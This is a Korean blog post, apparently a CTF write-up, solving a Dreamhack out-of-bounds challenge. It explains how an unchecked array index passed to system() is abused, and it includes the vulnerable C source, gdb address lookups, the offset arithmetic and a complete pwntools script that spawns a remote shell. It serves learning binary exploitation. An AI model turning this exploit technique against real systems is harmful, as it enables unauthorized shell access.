Out of Bounds Write-up
1. 문제 개요
서버에서 작동 중인 out_of_bound 서비스의 바이너리와 소스 코드가 주어진다. 취약점을 익스플로잇해 셸을 획득하고 flag 파일을 읽는 것이 목표. 플래그 형식은 DH{...}.
배열의 임의 인덱스에 접근할 수 있는 OOB(Out of Bounds) 취약점을 이용한 공격을 학습하는 문제다.
2. 보호 기법 분석
$ checksec out_of_bound
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
보호 기법 상태 의미 / 영향
| ASLR | 적용 | 스택·라이브러리 주소가 매 실행마다 랜덤화 |
| NX | enabled | 스택에 올린 셸코드 실행 불가 |
| Canary | found | 스택의 SFP/RET 임의 변조 불가 |
| PIE | No PIE | 바이너리 주소 고정 → 전역 변수 주소도 고정 |
핵심은 PIE가 꺼져 있다는 점이다. 데이터 영역(전역 변수)이 항상 정해진 주소(0x8048000 기준)에 할당되므로, 전역 변수에 데이터를 심고 그 고정 주소를 활용할 수 있다. ASLR/NX/Canary로 스택 공격은 막혀 있지만, 전역 데이터 영역이 발판이 된다.
또한 Stripped: No 라서 심볼이 살아 있어 변수 주소를 쉽게 구할 수 있다.
3. 코드 분석
char name[16];
char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" };
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler); // 30초 타임아웃
alarm(30);
}
int main() {
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name)); // (1) name에 16바이트 입력 가능
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]); // (2) idx 범위 검사 없음 → OOB
return 0;
}
취약점 재료는 두 가지다.
- name은 16바이트 전역 변수이며, read로 원하는 값을 그대로 써넣을 수 있다. PIE가 꺼져 있어 name은 고정 주소에 있다.
- system(command[idx])에서 idx 범위 검사가 전혀 없다. command는 인덱스 0~4만 유효한데, 음수나 4 초과 인덱스를 넣으면 OOB가 발생해 배열 밖 메모리 값을 system의 인자로 쓰게 된다.
기본 명령어 5개(cat, ls, id, ps, file ./oob)만으로는 플래그를 읽을 수 없으므로, OOB로 command[idx]가 직접 심은 "/bin/sh"를 가리키게 만들어 셸을 획득한다.
4. 공격 전략
4.1 핵심 아이디어
system은 인자로 "실행할 문자열의 주소" 를 받는다. 따라서:
- name(고정 주소)에 "/bin/sh\x00" 문자열을 심고,
- command[idx]로 읽히는 위치에 name의 주소를 심은 뒤,
- 그 위치를 가리키는 idx를 OOB로 지정하면
→ system(command[idx]) = system(name의 주소) = system("/bin/sh") → 셸 획득.
4.2 주소 확인
(gdb) p &command
$1 = (<data variable, no debug info> *) 0x804a060 <command>
(gdb) p &name
$2 = (<data variable, no debug info> *) 0x804a0ac <name>
주의: pwndbg는 단독 명령이 아니라 gdb 플러그인이다. pwndbg가 없어도 일반 gdb out_of_bound로 p &command, p &name 하면 주소가 그대로 나온다. nm out_of_bound | grep -iE "name|command" 한 줄로도 동일하게 구할 수 있다.
- command = 0x804a060
- name = 0x804a0ac
- 차이: 0x804a0ac - 0x804a060 = 0x4c = 76
4.3 페이로드 레이아웃
name(16바이트)을 다음과 같이 채운다.
주소 내용
0x804a0ac "/bin/sh\x00" (8 byte)
0x804a0b4 p32(0x804a0ac) (4 byte) ← name의 주소
즉 name+8(= 0x804a0b4)에 name의 주소를 심는다.
4.4 인덱스 계산
command는 char* 배열, 32비트라 원소 하나가 4바이트.
&command[idx] = command + 4 * idx
command[idx]가 0x804a0b4(name+8)를 가리키게 하려면:
0x804a060 + 4 * idx = 0x804a0b4
4 * idx = 0x804a0b4 - 0x804a060 = 0x54 = 84
idx = 84 / 4 = 21
→ idx = 21
이러면 command[21]은 0x804a0b4에 저장된 값, 즉 name의 주소(0x804a0ac)를 읽고, 그 주소엔 "/bin/sh"가 있으므로 system("/bin/sh")가 실행된다.
참고: idx = 19로 하면 command[19]의 위치(0x804a060 + 76 = 0x804a0ac)가 name의 시작과 겹쳐, name 첫 4바이트인 "/bin"(0x6e69622f)이 값으로 읽혀버린다. 이건 system에 "/bin 문자열의 내용"이 들어가는 잘못된 상태다. 그래서 한 칸 뒤(name+8)에 진짜 주소를 심고 idx=21로 그 칸을 가리켜야 한다.
5. 익스플로잇
from pwn import *
# p = process("./out_of_bound") # 로컬
p = remote("host3.dreamhack.games", 16036) # 원격 (포트는 서버 생성 시 발급)
name_addr = 0x804a0ac
payload = b"/bin/sh\x00" + p32(name_addr)
p.recvuntil(b"Admin name: ")
p.send(payload) # read()라 sendline 아닌 send (개행 방지)
p.recvuntil(b"What do you want?: ")
p.sendline(b"21")
p.interactive()
실행 결과

6. 트러블슈팅 (풀면서 만난 오류들)
문제를 푸는 과정에서 막혔던 부분과 해결 방법 정리. 익스플로잇 로직보다 환경 세팅에서 시간을 더 썼다.
6.1 pwndbg: command not found
- 원인: pwndbg는 단독 명령어가 아니라 gdb 플러그인이다.
- 해결: gdb out_of_bound로 실행. pwndbg 미설치 환경이면 일반 gdb로도 p &command/p &name 가능. gdb 진입 시 debuginfod 질문은 n.
6.2 로컬 실행 시 TIME OUT (가장 헷갈렸던 부분)
[*] Switching to interactive mode
TIME OUT
[*] Process stopped with exit code 255
[*] Got EOF while reading in interactive
- 현상: 페이로드는 디버그 로그상 바이트 단위로 정확히 전송됐는데(2f 62 69 6e 2f 73 68 00 ac a0 04 08 확인), 셸이 안 뜨고 alarm(30)에 걸려 종료.
- 원인: 익스플로잇 로직 문제가 아님. 바이너리는 32비트(i386)인데 실습 환경은 64비트 WSL Ubuntu 24.04라, 로컬에서 system("/bin/sh")가 호출돼도 32비트 셸 실행 환경이 맞지 않아 동작하지 않은 것.
- 해결:
- PIE가 꺼져 주소가 고정이므로, 로컬 검증 없이 원격에 바로 접속해도 동일하게 동작. → 원격으로 전환하여 해결.
- (로컬에서 굳이 돌리려면 dpkg --add-architecture i386 후 libc6:i386 등 32비트 라이브러리 설치 필요.)
- 교훈: 페이로드가 바이트 단위로 정확히 들어갔다면 로직은 맞는 것이다. 로컬 실패를 익스플로잇 오류로 오해하지 말고 실행 환경(아키텍처) 불일치를 의심하자.
6.3 통신 디버깅 팁
sendlineafter로 프롬프트 매칭이 안 돼 멈추는 경우가 있었다.
- name 입력은 read()이므로 sendline(개행 추가) 대신 send로 페이로드만 정확히 전송.
- context.log_level = 'debug'를 켜면 주고받는 바이트가 전부 출력돼, 페이로드가 의도대로 들어갔는지 hex로 확인 가능.
7. 정리
- 취약점: system(command[idx])의 인덱스 범위 미검증 (OOB).
- 발판: No PIE → 전역 변수 name이 고정 주소.
- 익스플로잇: name에 "/bin/sh" + name의 주소를 심고, OOB 인덱스 21로 command[21]이 그 주소를 가리키게 하여 system("/bin/sh") 호출.
- 스택 보호 기법(ASLR/NX/Canary)이 모두 켜져 있어도, 경계 검사 없는 배열 인덱스 + 고정된 데이터 영역 주소의 조합만으로 셸을 획득할 수 있음을 보여주는 문제.
'CTF' 카테고리의 다른 글
| Basic_Exploitation 000 (0) | 2026.06.17 |
|---|---|
| Return Address Overwrite (0) | 2026.06.17 |
| shellcode (0) | 2026.06.17 |
| pwntools - 2 (0) | 2026.06.17 |
| pwntools - 1 (0) | 2026.06.17 |